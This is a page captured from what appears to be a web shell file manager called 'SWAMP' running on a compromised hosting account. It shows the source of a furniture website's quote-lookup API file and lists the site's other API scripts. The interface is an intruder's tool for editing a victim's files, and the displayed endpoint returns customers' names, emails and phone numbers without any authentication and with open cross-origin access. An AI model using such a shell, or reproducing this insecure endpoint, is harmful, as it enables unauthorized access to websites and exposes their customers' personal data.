░▒▓████████████████████████████████▓▒░ ░▒▓█ ▓▒░ ░▒▓█ ~ S W A M P ~ ▓▒░ ░▒▓█ ▓▒░ ░▒▓████████████████████████████████▓▒░
lon105.truehost.cloud
LOCATION:
/home/ilrtztmy/woodcoffiefurnitureworks.com/api/quotes
☗ ROOT
↻ REFRESH
✎ CARVE FLESH
EDITING: get.php
<?php header("Access-Control-Allow-Origin: *"); header("Content-Type: application/json; charset=UTF-8"); include_once __DIR__ . '/../config/db.php'; include_once __DIR__ . '/../models/Quote.php'; $database = new Database(); $db = $database->getConnection(); $quote = new Quote($db); if (!isset($_GET['id']) || empty($_GET['id'])) { http_response_code(400); echo json_encode(array("message" => "Quote ID is required.")); exit; } $quote->id = $_GET['id']; try { // Fetch all quotes first $stmt = $quote->read(); $found = false; while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) { if ($row['id'] == $quote->id) { $quote_item = array( "id" => $row["id"], "name" => $row["name"], "email" => $row["email"], "phone" => $row["phone"], "context" => $row["context"], "product_id" => $row["product_id"], "product_name" => $row["product_name"], "message" => html_entity_decode($row["message"]), "status" => $row["status"], "created_at" => $row["created_at"] ); http_response_code(200); echo json_encode($quote_item); $found = true; break; } } if (!$found) { http_response_code(404); echo json_encode(array("message" => "Quote not found.")); } } catch (Exception $e) { http_response_code(500); echo json_encode(array( "message" => "Error fetching quote.", "error" => $e->getMessage() )); } ?>
CANCEL
Name
Type
Size
Modified
Actions
↩ ..
DIR
—
—
📄 create.php
PHP
1.6 KB
2026-06-22 11:02
EDIT
📄 delete.php
PHP
1.2 KB
2026-06-18 14:10
EDIT
📄 get.php
PHP
1.7 KB
2026-06-22 10:13
EDIT
📄 index.php
PHP
996 B
2026-06-22 11:35
EDIT
📄 update_status.php
PHP
1.1 KB
2026-06-18 14:10
EDIT